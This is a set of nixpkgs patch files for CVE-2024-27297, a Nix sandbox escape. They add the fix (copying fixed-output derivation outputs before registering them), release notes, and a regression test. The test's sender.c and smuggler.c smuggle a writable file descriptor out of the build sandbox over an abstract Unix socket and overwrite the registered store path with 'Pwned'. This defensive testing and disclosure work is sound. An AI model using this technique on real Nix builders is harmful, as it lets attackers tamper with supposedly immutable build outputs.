++#include <unistd.h>
++#include <assert.h>
++
++int main(int argc, char **argv) {
++
++    assert(argc == 2);
++
++    int sock = socket(AF_UNIX, SOCK_STREAM, 0);
++
++    // Bind to the socket.
++    struct sockaddr_un data;
++    data.sun_family = AF_UNIX;
++    data.sun_path[0] = 0;
++    strcpy(data.sun_path + 1, argv[1]);
++    int res = bind(sock, (const struct sockaddr *)&data,
++        offsetof(struct sockaddr_un, sun_path)
++        + strlen(argv[1])
++        + 1);
++    if (res < 0) perror("bind");
++
++    res = listen(sock, 1);
++    if (res < 0) perror("listen");
++
++    int smuggling_fd = -1;
++
++    // Accept the connection a first time to receive the file descriptor.
++    fprintf(stderr, "%s\n", "Waiting for the first connection");
++    int a = accept(sock, 0, 0);
++    if (a < 0) perror("accept");
++
++    struct msghdr msg = {0};
++    msg.msg_control = malloc(128);
++    msg.msg_controllen = 128;
++
++    // Receive the file descriptor as sent by the smuggler.
++    recvmsg(a, &msg, 0);
++
++    struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
++    while (hdr) {
++        if (hdr->cmsg_level == SOL_SOCKET
++          && hdr->cmsg_type == SCM_RIGHTS) {
++
++            // Grab the copy of the file descriptor.
++            memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int));
++        }
++
++        hdr = CMSG_NXTHDR(&msg, hdr);
++    }
++    fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection");
++    close(a);
++
++    // Wait for a second connection, which will tell us that the build is
++    // done
++    a = accept(sock, 0, 0);
++    fprintf(stderr, "%s\n", "Got a second connection, rewriting the file");
++    // Write a new content to the file
++    if (ftruncate(smuggling_fd, 0)) perror("ftruncate");
++    char * new_content = "Pwned\n";
++    int written_bytes = write(smuggling_fd, new_content, strlen(new_content));
++    if (written_bytes != strlen(new_content)) perror("write");
++}
+-- 
+2.42.0
+
+
+From 4bc5a3510fa3735798f9ed3a2a30a3ea7b32343a Mon Sep 17 00:00:00 2001
+From: Tom Bereknyei <tomberek@gmail.com>
+Date: Fri, 1 Mar 2024 03:45:39 -0500
+Subject: [PATCH 2/3] Copy the output of fixed-output derivations before
+ registering them
+
+It is possible to exfiltrate a file descriptor out of the build sandbox
+of FODs, and use it to modify the store path after it has been
+registered.
+To avoid that issue, don't register the output of the build, but a copy
+of it (that will be free of any leaked file descriptor).
+
+Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io>
+Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io>
+---
+ src/libstore/build/local-derivation-goal.cc | 6 ++++++
+ src/libutil/filesystem.cc                   | 6 ++++++
+ src/libutil/util.hh                         | 7 +++++++
+ 3 files changed, 19 insertions(+)
+
+diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc
+index 64b55ca6a..f1e22f829 100644
+--- a/src/libstore/build/local-derivation-goal.cc
++++ b/src/libstore/build/local-derivation-goal.cc
+@@ -2558,6 +2558,12 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs()
+             [&](const DerivationOutput::CAFixed & dof) {
+                 auto & wanted = dof.ca.hash;
+ 
++                // Replace the output by a fresh copy of itself to make sure
++                // that there's no stale file descriptor pointing to it
++                Path tmpOutput = actualPath + ".tmp";
++                copyFile(actualPath, tmpOutput, true);
++                renameFile(tmpOutput, actualPath);
++
+                 auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating {
+                     .method = dof.ca.method,
+                     .hashType = wanted.type,
+diff --git a/src/libutil/filesystem.cc b/src/libutil/filesystem.cc
+index 11cc0c0e7..2a7787c0e 100644
+--- a/src/libutil/filesystem.cc
++++ b/src/libutil/filesystem.cc
+@@ -133,6 +133,12 @@ void copy(const fs::directory_entry & from, const fs::path & to, bool andDelete)
+     }
+ }
+ 
++
++void copyFile(const Path & oldPath, const Path & newPath, bool andDelete)
++{
++    return copy(fs::directory_entry(fs::path(oldPath)), fs::path(newPath), andDelete);
++}
++
+ void renameFile(const Path & oldName, const Path & newName)
+ {
+     fs::rename(oldName, newName);
+diff --git a/src/libutil/util.hh b/src/libutil/util.hh
+index b302d6f45..59d42e0a5 100644
+--- a/src/libutil/util.hh
++++ b/src/libutil/util.hh
+@@ -274,6 +274,13 @@ void renameFile(const Path & src, const Path & dst);
+  */
+ void moveFile(const Path & src, const Path & dst);
+ 
++/**
++ * Recursively copy the content of `oldPath` to `newPath`. If `andDelete` is
++ * `true`, then also remove `oldPath` (making this equivalent to `moveFile`, but
++ * with the guaranty that the destination will be “fresh”, with no stale inode
++ * or file descriptor pointing to it).
++ */
++void copyFile(const Path & oldPath, const Path & newPath, bool andDelete);
+ 
+ /**
+  * Wrappers arount read()/write() that read/write exactly the
+-- 
+2.42.0
+
+
+From 9e7065bef5469b3024cde2bbc7745530a64fde5b Mon Sep 17 00:00:00 2001
+From: Tom Bereknyei <tomberek@gmail.com>
+Date: Fri, 1 Mar 2024 04:01:23 -0500
+Subject: [PATCH 3/3] Add release notes
+
+Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io>
+---
+ doc/manual/src/release-notes/rl-next.md | 8 ++++++++
+ 1 file changed, 8 insertions(+)
+
+diff --git a/doc/manual/src/release-notes/rl-next.md b/doc/manual/src/release-notes/rl-next.md
+index c869b5e2f..f77513385 100644
+--- a/doc/manual/src/release-notes/rl-next.md
++++ b/doc/manual/src/release-notes/rl-next.md
+@@ -1 +1,9 @@
+ # Release X.Y (202?-??-??)
++
++- Fix a FOD sandbox escape:
++    Cooperating Nix derivations could send file descriptors to files in the Nix
++    store to each other via Unix domain sockets in the abstract namespace. This
++    allowed one derivation to modify the output of the other derivation, after Nix
++    has registered the path as "valid" and immutable in the Nix database.
++    In particular, this allowed the output of fixed-output derivations to be
++    modified from their expected content. This isn't the case any more.
+-- 
+2.42.0
+
diff --git a/nixpkgs/pkgs/tools/package-management/nix/patches/2_19/CVE-2024-27297.patch b/nixpkgs/pkgs/tools/package-management/nix/patches/2_19/CVE-2024-27297.patch
new file mode 100644
index 000000000000..e75b7577af1e
--- /dev/null
+++ b/nixpkgs/pkgs/tools/package-management/nix/patches/2_19/CVE-2024-27297.patch
@@ -0,0 +1,407 @@
+From ca05f6d2038a749f63205fccc4a4daa914a6b95b Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
+ <theophane.hufschmitt@tweag.io>
+Date: Mon, 12 Feb 2024 21:28:20 +0100
+Subject: [PATCH 1/4] Add a NixOS test for the sandbox escape
+
+Test that we can't leverage abstract unix domain sockets to leak file
+descriptors out of the sandbox and modify the path after it has been
+registered.
+---
+ tests/nixos/ca-fd-leak/default.nix | 90 ++++++++++++++++++++++++++++++
+ tests/nixos/ca-fd-leak/sender.c    | 65 +++++++++++++++++++++
+ tests/nixos/ca-fd-leak/smuggler.c  | 66 ++++++++++++++++++++++
+ tests/nixos/default.nix            |  2 +
+ 4 files changed, 223 insertions(+)
+ create mode 100644 tests/nixos/ca-fd-leak/default.nix
+ create mode 100644 tests/nixos/ca-fd-leak/sender.c
+ create mode 100644 tests/nixos/ca-fd-leak/smuggler.c
+
+diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix
+new file mode 100644
+index 000000000..40e57ea02
+--- /dev/null
++++ b/tests/nixos/ca-fd-leak/default.nix
+@@ -0,0 +1,90 @@
++# Nix is a sandboxed build system. But Not everything can be handled inside its
++# sandbox: Network access is normally blocked off, but to download sources, a
++# trapdoor has to exist. Nix handles this by having "Fixed-output derivations".
++# The detail here is not important, but in our case it means that the hash of
++# the output has to be known beforehand. And if you know that, you get a few
++# rights: you no longer run inside a special network namespace!
++#
++# Now, Linux has a special feature, that not many other unices do: Abstract
++# unix domain sockets! Not only that, but those are namespaced using the
++# network namespace! That means that we have a way to create sockets that are
++# available in every single fixed-output derivation, and also all processes
++# running on the host machine! Now, this wouldn't be that much of an issue, as,
++# well, the whole idea is that the output is pure, and all processes in the
++# sandbox are killed before finalizing the output. What if we didn't need those
++# processes at all? Unix domain sockets have a semi-known trick: you can pass
++# file descriptors around!
++# This makes it possible to exfiltrate a file-descriptor with write access to
++# $out outside of the sandbox. And that file-descriptor can be used to modify
++# the contents of the store path after it has been registered.
++
++{ config, ... }:
++
++let
++  pkgs = config.nodes.machine.nixpkgs.pkgs;
++
++  # Simple C program that sends a a file descriptor to `$out` to a Unix
++  # domain socket.
++  # Compiled statically so that we can easily send it to the VM and use it
++  # inside the build sandbox.
++  sender = pkgs.runCommandWith {
++    name = "sender";
++    stdenv = pkgs.pkgsStatic.stdenv;
++  } ''
++    $CC -static -o $out ${./sender.c}
++  '';
++
++  # Okay, so we have a file descriptor shipped out of the FOD now. But the
++  # Nix store is read-only, right? .. Well, yeah. But this file descriptor
++  # lives in a mount namespace where it is not! So even when this file exists
++  # in the actual Nix store, we're capable of just modifying its contents...
++  smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c);
++
++  # The abstract socket path used to exfiltrate the file descriptor
++  socketName = "FODSandboxExfiltrationSocket";
++in
++{
++  name = "ca-fd-leak";
++
++  nodes.machine =
++    { config, lib, pkgs, ... }:
++    { virtualisation.writableStore = true;
++      nix.settings.substituters = lib.mkForce [ ];
++      virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ];
++    };
++
++  testScript = { nodes }: ''
++    start_all()
++
++    machine.succeed("echo hello")
++    # Start the smuggler server
++    machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &")
++
++    # Build the smuggled derivation.
++    # This will connect to the smuggler server and send it the file descriptor
++    machine.succeed(r"""
++      nix-build -E '
++        builtins.derivation {
++          name = "smuggled";
++          system = builtins.currentSystem;
++          # look ma, no tricks!
++          outputHashMode = "flat";
++          outputHashAlgo = "sha256";
++          outputHash = builtins.hashString "sha256" "hello, world\n";
++          builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
++          args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ];
++      }'
++    """.strip())
++
++
++    # Tell the smuggler server that we're done
++    machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
++
++    # Check that the file was modified
++    machine.succeed(r"""
++      cat ./result
++      test "$(cat ./result)" = "hello, world"
++    """.strip())
++  '';
++
++}
+diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c
+new file mode 100644
+index 000000000..75e54fc8f
+--- /dev/null
++++ b/tests/nixos/ca-fd-leak/sender.c
+@@ -0,0 +1,65 @@
++#include <sys/socket.h>
++#include <sys/un.h>
++#include <stdlib.h>
++#include <stddef.h>
++#include <stdio.h>
++#include <unistd.h>
++#include <fcntl.h>
++#include <errno.h>
++#include <string.h>
++#include <assert.h>
++
++int main(int argc, char **argv) {
++
++    assert(argc == 2);
++
++    int sock = socket(AF_UNIX, SOCK_STREAM, 0);
++
++    // Set up a abstract domain socket path to connect to.
++    struct sockaddr_un data;
++    data.sun_family = AF_UNIX;
++    data.sun_path[0] = 0;
++    strcpy(data.sun_path + 1, argv[1]);
++
++    // Now try to connect, To ensure we work no matter what order we are
++    // executed in, just busyloop here.
++    int res = -1;
++    while (res < 0) {
++        res = connect(sock, (const struct sockaddr *)&data,
++            offsetof(struct sockaddr_un, sun_path)
++              + strlen(argv[1])
++              + 1);
++        if (res < 0 && errno != ECONNREFUSED) perror("connect");
++        if (errno != ECONNREFUSED) break;
++    }
++
++    // Write our message header.
++    struct msghdr msg = {0};
++    msg.msg_control = malloc(128);
++    msg.msg_controllen = 128;
++
++    // Write an SCM_RIGHTS message containing the output path.
++    struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
++    hdr->cmsg_len = CMSG_LEN(sizeof(int));
++    hdr->cmsg_level = SOL_SOCKET;
++    hdr->cmsg_type = SCM_RIGHTS;
++    int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640);
++    memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
++
++    msg.msg_controllen = CMSG_SPACE(sizeof(int));
++
++    // Write a single null byte too.
++    msg.msg_iov = malloc(sizeof(struct iovec));
++    msg.msg_iov[0].iov_base = "";
++    msg.msg_iov[0].iov_len = 1;
++    msg.msg_iovlen = 1;
++
++    // Send it to the othher side of this connection.
++    res = sendmsg(sock, &msg, 0);
++    if (res < 0) perror("sendmsg");
++    int buf;
++
++    // Wait for the server to close the socket, implying that it has
++    // received the commmand.
++    recv(sock, (void *)&buf, sizeof(int), 0);
++}
+diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c
+new file mode 100644
+index 000000000..82acf37e6
+--- /dev/null
++++ b/tests/nixos/ca-fd-leak/smuggler.c
+@@ -0,0 +1,66 @@
++#include <sys/socket.h>
++#include <sys/un.h>
++#include <stdlib.h>
++#include <stddef.h>
++#include <stdio.h>
++#include <unistd.h>
++#include <assert.h>
++
++int main(int argc, char **argv) {
++
++    assert(argc == 2);
++
++    int sock = socket(AF_UNIX, SOCK_STREAM, 0);
++
++    // Bind to the socket.
++    struct sockaddr_un data;
++    data.sun_family = AF_UNIX;
++    data.sun_path[0] = 0;
++    strcpy(data.sun_path + 1, argv[1]);
++    int res = bind(sock, (const struct sockaddr *)&data,
++        offsetof(struct sockaddr_un, sun_path)
++        + strlen(argv[1])
++        + 1);
++    if (res < 0) perror("bind");
++
++    res = listen(sock, 1);
++    if (res < 0) perror("listen");
++
++    int smuggling_fd = -1;
++
++    // Accept the connection a first time to receive the file descriptor.
++    fprintf(stderr, "%s\n", "Waiting for the first connection");
++    int a = accept(sock, 0, 0);
++    if (a < 0) perror("accept");
++
++    struct msghdr msg = {0};
++    msg.msg_control = malloc(128);
++    msg.msg_controllen = 128;
++
++    // Receive the file descriptor as sent by the smuggler.
++    recvmsg(a, &msg, 0);
++
++    struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
++    while (hdr) {
++        if (hdr->cmsg_level == SOL_SOCKET
++          && hdr->cmsg_type == SCM_RIGHTS) {
++
++            // Grab the copy of the file descriptor.
++            memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int));
++        }
++
++        hdr = CMSG_NXTHDR(&msg, hdr);
++    }
++    fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection");
++    close(a);
++
++    // Wait for a second connection, which will tell us that the build is
++    // done
++    a = accept(sock, 0, 0);
++    fprintf(stderr, "%s\n", "Got a second connection, rewriting the file");
++    // Write a new content to the file
++    if (ftruncate(smuggling_fd, 0)) perror("ftruncate");
++    char * new_content = "Pwned\n";
++    int written_bytes = write(smuggling_fd, new_content, strlen(new_content));
++    if (written_bytes != strlen(new_content)) perror("write");
++}
+diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix
+index 4459aa664..4c1cf785c 100644
+--- a/tests/nixos/default.nix
++++ b/tests/nixos/default.nix
+@@ -40,4 +40,6 @@ in
+   setuid = lib.genAttrs
+     ["i686-linux" "x86_64-linux"]
+     (system: runNixOSTestFor system ./setuid.nix);
++
++  ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak;
+ }
+-- 
+2.42.0
+
+
+From 558dab42315f493aa4e8480a57c2d3b0834392ec Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
+ <theophane.hufschmitt@tweag.io>
+Date: Tue, 13 Feb 2024 08:28:02 +0100
+Subject: [PATCH 2/4] Copy the output of fixed-output derivations before
+ registering them
+
+It is possible to exfiltrate a file descriptor out of the build sandbox
+of FODs, and use it to modify the store path after it has been
+registered.
+To avoid that issue, don't register the output of the build, but a copy
+of it (that will be free of any leaked file descriptor).
+---
+ src/libstore/build/local-derivation-goal.cc | 6 ++++++
+ src/libutil/file-system.cc                  | 5 +++++
+ src/libutil/file-system.hh                  | 7 +++++++
+ 3 files changed, 18 insertions(+)
+
+diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc
+index a9f930773..d83c47d00 100644
+--- a/src/libstore/build/local-derivation-goal.cc
++++ b/src/libstore/build/local-derivation-goal.cc
+@@ -2543,6 +2543,12 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs()
+             [&](const DerivationOutput::CAFixed & dof) {
+                 auto & wanted = dof.ca.hash;
+ 
++                // Replace the output by a fresh copy of itself to make sure
++                // that there's no stale file descriptor pointing to it
++                Path tmpOutput = actualPath + ".tmp";
++                copyFile(actualPath, tmpOutput, true);
++                renameFile(tmpOutput, actualPath);
++
+                 auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating {
+                     .method = dof.ca.method,
+                     .hashType = wanted.type,
+diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc
+index c96effff9..777f83c30 100644
+--- a/src/libutil/file-system.cc
++++ b/src/libutil/file-system.cc
+@@ -616,6 +616,11 @@ void copy(const fs::directory_entry & from, const fs::path & to, bool andDelete)
+     }
+ }
+ 
++void copyFile(const Path & oldPath, const Path & newPath, bool andDelete)
++{
++    return copy(fs::directory_entry(fs::path(oldPath)), fs::path(newPath), andDelete);
++}
++
+ void renameFile(const Path & oldName, const Path & newName)
+ {
+     fs::rename(oldName, newName);
+diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh
+index 4637507b3..71db7d8bc 100644
+--- a/src/libutil/file-system.hh
++++ b/src/libutil/file-system.hh
+@@ -186,6 +186,13 @@ void renameFile(const Path & src, const Path & dst);
+  */
+ void moveFile(const Path & src, const Path & dst);
+ 
++/**
++ * Recursively copy the content of `oldPath` to `newPath`. If `andDelete` is
++ * `true`, then also remove `oldPath` (making this equivalent to `moveFile`, but
++ * with the guaranty that the destination will be “fresh”, with no stale inode
++ * or file descriptor pointing to it).
++ */
++void copyFile(const Path & oldPath, const Path & newPath, bool andDelete);
+ 
+ /**
+  * Automatic cleanup of resources.
+-- 
+2.42.0
+
+
+From 6adce5c3baddf20a5865a646a6d5117e83693497 Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
+ <7226587+thufschmitt@users.noreply.github.com>
+Date: Wed, 21 Feb 2024 17:32:36 +0100
+Subject: [PATCH 3/4] Fix a typo in a test comment
+
+Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io>
+---
+ tests/nixos/ca-fd-leak/default.nix | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix
+index 40e57ea02..a6ae72adc 100644
+--- a/tests/nixos/ca-fd-leak/default.nix
++++ b/tests/nixos/ca-fd-leak/default.nix
+@@ -80,7 +80,7 @@ in
+     # Tell the smuggler server that we're done
+     machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
+ 
+-    # Check that the file was modified
++    # Check that the file was not modified
+     machine.succeed(r"""
+       cat ./result
+       test "$(cat ./result)" = "hello, world"
+-- 
+2.42.0
+
+
+From 7a803d9d5460cc990f20eff7d4d5a3623298c15b Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
+ <theophane.hufschmitt@tweag.io>
+Date: Fri, 1 Mar 2024 09:31:05 +0100
+Subject: [PATCH 4/4] Add release notes
+
+---
+ doc/manual/rl-next/fod-sandbox-escape.md | 14 ++++++++++++++
+ 1 file changed, 14 insertions(+)
+ create mode 100644 doc/manual/rl-next/fod-sandbox-escape.md
+
+diff --git a/doc/manual/rl-next/fod-sandbox-escape.md b/doc/manual/rl-next/fod-sandbox-escape.md
+new file mode 100644
+index 000000000..ed451711e
+--- /dev/null
++++ b/doc/manual/rl-next/fod-sandbox-escape.md
+@@ -0,0 +1,14 @@
++---
++synopsis: Fix a FOD sandbox escape
++issues:
++prs:
++---
++
++Cooperating Nix derivations could send file descriptors to files in the Nix
++store to each other via Unix domain sockets in the abstract namespace. This
++allowed one derivation to modify the output of the other derivation, after Nix
++has registered the path as "valid" and immutable in the Nix database.
++In particular, this allowed the output of fixed-output derivations to be
++modified from their expected content.
++
++This isn't the case any more.
+-- 
+2.42.0
diff --git a/nixpkgs/pkgs/tools/package-management/nix/patches/2_3/CVE-2024-27297.patch b/nixpkgs/pkgs/tools/package-management/nix/patches/2_3/CVE-2024-27297.patch
new file mode 100644
index 000000000000..b8201cb99ef5
--- /dev/null
+++ b/nixpkgs/pkgs/tools/package-management/nix/patches/2_3/CVE-2024-27297.patch
@@ -0,0 +1,375 @@
+From 9c0be4c156e74a3e7e0d33b04d870642350e72d4 Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?=
+ <theophane.hufschmitt@tweag.io>
+Date: Mon, 12 Feb 2024 21:28:20 +0100
+Subject: [PATCH 1/4] Add a NixOS test for the sandbox escape
+
+Test that we can't leverage abstract unix domain sockets to leak file
+descriptors out of the sandbox and modify the path after it has been
+registered.
+---
+ release.nix                        |  5 ++
+ tests/nixos/ca-fd-leak/default.nix | 93 ++++++++++++++++++++++++++++++
+ tests/nixos/ca-fd-leak/sender.c    | 65 +++++++++++++++++++++
+ tests/nixos/ca-fd-leak/smuggler.c  | 66 +++++++++++++++++++++
+ 4 files changed, 229 insertions(+)
+ create mode 100644 tests/nixos/ca-fd-leak/default.nix
+ create mode 100644 tests/nixos/ca-fd-leak/sender.c
+ create mode 100644 tests/nixos/ca-fd-leak/smuggler.c
+
+diff --git a/release.nix b/release.nix
+index f468946c5..2e71f3796 100644
+--- a/release.nix
++++ b/release.nix
+@@ -235,6 +235,11 @@ let
+       nix = build.x86_64-linux; system = "x86_64-linux";
+     });
+ 
++    tests.ca-fd-leak = (import ./tests/nixos/ca-fd-leak rec {
++      inherit nixpkgs;
++      nix = build.x86_64-linux; system = "x86_64-linux";
++    });
++
+     tests.setuid = pkgs.lib.genAttrs
+       ["i686-linux" "x86_64-linux"]
+       (system:
+diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix
+new file mode 100644
+index 000000000..c252caa4d
+--- /dev/null
++++ b/tests/nixos/ca-fd-leak/default.nix
+@@ -0,0 +1,93 @@
++# Nix is a sandboxed build system. But Not everything can be handled inside its
++# sandbox: Network access is normally blocked off, but to download sources, a
++# trapdoor has to exist. Nix handles this by having "Fixed-output derivations".
++# The detail here is not important, but in our case it means that the hash of
++# the output has to be known beforehand. And if you know that, you get a few
++# rights: you no longer run inside a special network namespace!
++#
++# Now, Linux has a special feature, that not many other unices do: Abstract
++# unix domain sockets! Not only that, but those are namespaced using the
++# network namespace! That means that we have a way to create sockets that are
++# available in every single fixed-output derivation, and also all processes
++# running on the host machine! Now, this wouldn't be that much of an issue, as,
++# well, the whole idea is that the output is pure, and all processes in the
++# sandbox are killed before finalizing the output. What if we didn't need those
++# processes at all? Unix domain sockets have a semi-known trick: you can pass
++# file descriptors around!
++# This makes it possible to exfiltrate a file-descriptor with write access to
++# $out outside of the sandbox. And that file-descriptor can be used to modify
++# the contents of the store path after it has been registered.
++
++{ nixpkgs, system, nix }:
++
++with import (nixpkgs + "/nixos/lib/testing-python.nix") {
++  inherit system;
++};
++
++let
++  # Simple C program that sends a a file descriptor to `$out` to a Unix
++  # domain socket.
++  # Compiled statically so that we can easily send it to the VM and use it
++  # inside the build sandbox.
++  sender = pkgs.runCommandWith {
++    name = "sender";
++    stdenv = pkgs.pkgsStatic.stdenv;
++  } ''
++    $CC -static -o $out ${./sender.c}
++  '';
++
++  # Okay, so we have a file descriptor shipped out of the FOD now. But the
++  # Nix store is read-only, right? .. Well, yeah. But this file descriptor
++  # lives in a mount namespace where it is not! So even when this file exists
++  # in the actual Nix store, we're capable of just modifying its contents...
++  smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c);
++
++  # The abstract socket path used to exfiltrate the file descriptor
++  socketName = "FODSandboxExfiltrationSocket";
++in
++makeTest {
++  name = "ca-fd-leak";
++
++  nodes.machine =
++    { config, lib, pkgs, ... }:
++    { virtualisation.writableStore = true;
++      virtualisation.pathsInNixDB = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ];
++      nix.binaryCaches = [ ];
++      nix.package = nix;
++    };
++
++  testScript = { nodes }: ''
++    start_all()
++
++    machine.succeed("echo hello")
++    # Start the smuggler server
++    machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &")
++
++    # Build the smuggled derivation.
++    # This will connect to the smuggler server and send it the file descriptor
++    machine.succeed(r"""
++      nix-build -E '
++        builtins.derivation {
++          name = "smuggled";
++          system = builtins.currentSystem;
++          # look ma, no tricks!
++          outputHashMode = "flat";
++          outputHashAlgo = "sha256";
++          outputHash = builtins.hashString "sha256" "hello, world\n";
++          builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
++          args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ];
++      }'
++    """.strip())
++
++
++    # Tell the smuggler server that we're done
++    machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
++
++    # Check that the file was modified
++    machine.succeed(r"""
++      cat ./result
++      test "$(cat ./result)" = "hello, world"
++    """.strip())
++  '';
++
++}
+diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c
+new file mode 100644
+index 000000000..75e54fc8f
+--- /dev/null
++++ b/tests/nixos/ca-fd-leak/sender.c
+@@ -0,0 +1,65 @@
++#include <sys/socket.h>
++#include <sys/un.h>
++#include <stdlib.h>
++#include <stddef.h>
++#include <stdio.h>
++#include <unistd.h>
++#include <fcntl.h>
++#include <errno.h>
++#include <string.h>
++#include <assert.h>
++
++int main(int argc, char **argv) {
++
++    assert(argc == 2);
++
++    int sock = socket(AF_UNIX, SOCK_STREAM, 0);
++
++    // Set up a abstract domain socket path to connect to.
++    struct sockaddr_un data;
++    data.sun_family = AF_UNIX;
++    data.sun_path[0] = 0;
++    strcpy(data.sun_path + 1, argv[1]);
++
++    // Now try to connect, To ensure we work no matter what order we are
++    // executed in, just busyloop here.
++    int res = -1;
++    while (res < 0) {
++        res = connect(sock, (const struct sockaddr *)&data,
++            offsetof(struct sockaddr_un, sun_path)
++              + strlen(argv[1])
++              + 1);
++        if (res < 0 && errno != ECONNREFUSED) perror("connect");
++        if (errno != ECONNREFUSED) break;
++    }
++
++    // Write our message header.
++    struct msghdr msg = {0};
++    msg.msg_control = malloc(128);
++    msg.msg_controllen = 128;
++
++    // Write an SCM_RIGHTS message containing the output path.
++    struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
++    hdr->cmsg_len = CMSG_LEN(sizeof(int));
++    hdr->cmsg_level = SOL_SOCKET;
++    hdr->cmsg_type = SCM_RIGHTS;
++    int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640);
++    memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
++
++    msg.msg_controllen = CMSG_SPACE(sizeof(int));
++
++    // Write a single null byte too.
++    msg.msg_iov = malloc(sizeof(struct iovec));
++    msg.msg_iov[0].iov_base = "";
++    msg.msg_iov[0].iov_len = 1;
++    msg.msg_iovlen = 1;
++
++    // Send it to the othher side of this connection.
++    res = sendmsg(sock, &msg, 0);
++    if (res < 0) perror("sendmsg");
++    int buf;
++
++    // Wait for the server to close the socket, implying that it has
++    // received the commmand.
++    recv(sock, (void *)&buf, sizeof(int), 0);
++}
+diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c
+new file mode 100644
+index 000000000..82acf37e6
+--- /dev/null
++++ b/tests/nixos/ca-fd-leak/smuggler.c
+@@ -0,0 +1,66 @@
++#include <sys/socket.h>
++#include <sys/un.h>
++#include <stdlib.h>
++#include <stddef.h>
++#include <stdio.h>
++#include <unistd.h>
++#include <assert.h>
++
++int main(int argc, char **argv) {
++
++    assert(argc == 2);
++
++    int sock = socket(AF_UNIX, SOCK_STREAM, 0);
++
++    // Bind to the socket.
++    struct sockaddr_un data;
++    data.sun_family = AF_UNIX;
++    data.sun_path[0] = 0;
++    strcpy(data.sun_path + 1, argv[1]);
++    int res = bind(sock, (const struct sockaddr *)&data,
++        offsetof(struct sockaddr_un, sun_path)
++        + strlen(argv[1])
++        + 1);
++    if (res < 0) perror("bind");
++
++    res = listen(sock, 1);
++    if (res < 0) perror("listen");
++
++    int smuggling_fd = -1;
++
++    // Accept the connection a first time to receive the file descriptor.
++    fprintf(stderr, "%s\n", "Waiting for the first connection");
++    int a = accept(sock, 0, 0);
++    if (a < 0) perror("accept");
++
++    struct msghdr msg = {0};
++    msg.msg_control = malloc(128);
++    msg.msg_controllen = 128;
++
++    // Receive the file descriptor as sent by the smuggler.
++    recvmsg(a, &msg, 0);
++
++    struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
++    while (hdr) {
++        if (hdr->cmsg_level == SOL_SOCKET
++          && hdr->cmsg_type == SCM_RIGHTS) {
++
++            // Grab the copy of the file descriptor.
++            memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int));
++        }
++
++        hdr = CMSG_NXTHDR(&msg, hdr);
++    }
++    fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection");
++    close(a);
++
++    // Wait for a second connection, which will tell us that the build is
++    // done
++    a = accept(sock, 0, 0);
++    fprintf(stderr, "%s\n", "Got a second connection, rewriting the file");
++    // Write a new content to the file
++    if (ftruncate(smuggling_fd, 0)) perror("ftruncate");
++    char * new_content = "Pwned\n";
++    int written_bytes = write(smuggling_fd, new_content, strlen(new_content));
++    if (written_bytes != strlen(new_content)) perror("write");
++}
+
